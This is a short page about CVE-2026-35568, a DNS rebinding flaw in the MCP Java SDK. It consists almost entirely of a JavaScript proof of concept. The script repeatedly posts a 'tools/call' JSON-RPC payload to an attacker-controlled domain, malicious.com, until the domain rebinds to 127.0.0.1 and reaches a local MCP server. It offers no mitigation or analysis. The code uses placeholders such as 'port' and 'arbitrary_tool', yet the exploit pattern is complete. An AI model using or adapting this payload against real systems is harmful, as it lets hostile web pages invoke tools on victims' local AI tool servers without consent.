CVE-2026-35568 MCP Java SDK DNS重绑定漏洞

<!-- Conceptual PoC for DNS Rebinding against MCP Java SDK --> <!-- Attacker controls the DNS server for malicious.com --> <!-- DNS initially points to Attacker IP, then rebinds to 127.0.0.1 --> <script> const targetUrl = 'http://malicious.com:port'; // Assuming the SDK runs on a known port const payload = { method: 'tools/call', params: { name: 'arbitrary_tool', arguments: { 'malicious_param': 'value' } } }; function attemptExploit() { fetch(targetUrl, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(payload) }) .then(response => response.text()) .then(data => console.log('Exploit Success:', data)) .catch(error => { // DNS rebinding might take time, retry until successful or timeout console.log('Waiting for DNS rebinding...'); }); } // Poll to catch the moment DNS rebinds to the local IP setInterval(attemptExploit, 1000); </script>